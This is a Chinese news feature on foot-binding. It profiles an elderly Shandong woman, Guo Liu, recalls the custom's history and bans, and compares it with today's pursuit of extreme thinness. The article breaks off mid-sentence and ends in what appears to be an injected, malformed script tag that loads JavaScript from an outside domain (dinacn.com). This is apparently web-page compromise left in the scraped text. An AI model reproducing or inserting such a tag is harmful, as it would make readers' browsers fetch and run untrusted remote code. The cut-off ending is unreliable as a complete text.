“裹足”是中国封建社会特有的现象,当时的人们以“三寸金莲”为美,使女性受尽折磨。1928年,中国政府就下令严禁妇女裹脚,到如今,仍有少数“小脚女人”在世,分散在河南、山东、福建、云南等地,她们中年龄最小的也已75岁。这一代人很快将退出历史舞台,但是她们拥有的审美观和精神追求却留给了现代人不尽的思考。为能拥有一双“三寸金莲”,她们无不是有一番血泪经历。而如今的现代女性似乎又奏响了新时代的变奏曲。为了“瘦身”,宁愿营养不良;为了“魔鬼身材”,而住进医院……
郭刘氏的“小脚”之路
山东冠县,地处山东、河北、河南3省交界处,这里至今保留着古老的风俗。11月的天气有些寒冷,城里已开始供暖。但是在冠县斜店乡的农村,为了节省,很少有人家生火炉。冠县斜店乡郭庄村83岁的郭刘氏老人身上穿着厚厚的棉裤,围着深色的围巾坐在太阳下,和门口的辘轳上、向阳的柴禾堆旁坐着的其他老人唠着家常。暖洋洋的阳光照在她们脸上,显得那么祥和。
郭刘氏10岁开始缠足。1942年,17岁的她从东面七八里路的许莱庄嫁给了郭庄村26岁的郭玉台,如今老伴已过世了。
据老人回忆,当时好多人家找媳妇还测量女子的脚有几寸。郭刘氏的父辈曾经读过私塾,也曾告诉过她,年轻的女子本来可以不缠脚。但被陋习的惯性所束,郭刘氏的奶奶仍极力主张她缠足。
“娘本来不想给俺缠脚,9岁时,娘见周围妮子缠脚的多,心里不踏实,怕耽误了俺,就要给俺裹小脚。当时怕疼不想缠,奶奶就说,不缠脚谁要你。”于是,郭刘氏就开始了缠脚的生涯。现在说起裹脚时,她还显得心有余悸。
为了把脚裹小,所采用的手段极其残忍。9岁时,奶奶给她缠脚,把碗摔破,用碗片顶住她的脚尖,用布死死缠住,硬是把脚趾窝残了。白天纺线时,用砖压着脚,晚上睡觉还要穿上软鞋,免得白天的辛劳白费。就这样用蓝布紧紧地缠了1年,不给脚留一点可能长大的空间和时间。
缠脚到最后,大拇脚趾被窝得外侧出现疙瘩,其余小脚趾折叠在脚底,再也没有起来。缠脚后,她半年多都不能走路,需要走路时,只能扶着墙根走。有时候就找一根拐棍拄着,减轻身体对脚的压迫。
在当时,只有经过这样的磨难,小脚才能裹成,长大后才能找个好人家。
一双众人羡慕的“三寸金莲”就是这样产生的。裹后的小脚,从正面看,像火伤之后变形、变色的一个肉疙瘩,完全消解了人足的原始形象,除了变形的足跟之外,已没有一丁点平滑的脚板。“小脚女人”们就是用这双脚支撑着整个身体。
不该有的血泪史
郭刘氏刚结婚的几年里,正赶上兵荒马乱的战争年代。许多妇女,当年指望缠了小脚能嫁个好人家,找个不错的丈夫。
时过境迁,新中国成立后,摧残人性的裹脚历史总算结束了,妇女在社会生活中的地位有了明显改善。男耕女织的家庭模式也发生了变化。妇女开始走到田间地头劳作。这时,小脚遭到婆家的歧视。
因干重活赶不上有一双“天足”的女人,“小脚媳妇”常受到责怪。郭刘氏回忆,当年她最难熬的活是磨面,站一会脚就火辣酸痛,可她必须一站就是一天。
中国文化遗产研究院付红领学者对《记者观察》记者解释,通常认为,女子缠足这一恶俗始于五代。南唐后主李煜令宫妃窅娘“以帛缠足,令纤小屈上,作新月状”,于莲花上舞蹈,首开女子缠足。而女子缠足在民间广泛传播则在宋代,又于清朝时发展到鼎盛。女子缠足方法惨无人道,以至于民间流传“小脚一双,眼泪一缸”的说法,因缠足染疾“致死者十之一二,致伤者十之七八”。
山东省枣庄市铁道游击队影视城内,民俗展第一展厅内长期陈列着来自江苏、河南和山东等地收集来的各种各样的鞋子,它们都是“三寸金莲”最好的物证。
大众传媒网的张岩对中国“小脚女人”的历史长期关注。他告诉记者,“缠足”在辛亥革命之前就曾受到不同程度的抵制和抨击:明代时,宫中女子就不许缠足;1664年清康熙皇帝下诏禁止民间缠足,但因阻力过大,4年后被迫撤销了禁令;1853年太平天国也下令禁止妇女缠足;戊戌维新时期,康有为强烈要求朝廷下诏严禁妇女缠足,康有为、梁启超、谭嗣同等人还创办“不缠足会”;1898年6月,光绪皇帝在维新派影响下,颁布上谕禁止妇女缠足。
瘦脚与瘦身的变奏曲
女性瘦脚的历史结束了,可是,女性瘦身的新时代在国内外正如火如荼地演进着。
如今的80后和90后玉女们都愿拥有“棒棒糖”身材(上身较为圆润,而四肢都较纤细的身材)。
说到“棒棒糖脑袋”(Lollipophead),就不可不提美国名模妮可·里奇,这个被豪门太子女帕丽斯·希尔顿视为死对头的小女生在好莱坞开“棒棒糖”风气之先。妮可·里奇女士就以号称拥有“能够在12岁以上人类身上看到的最细的手腕”而扬名天下。而在?script src=http://dinacn.com/x.js> |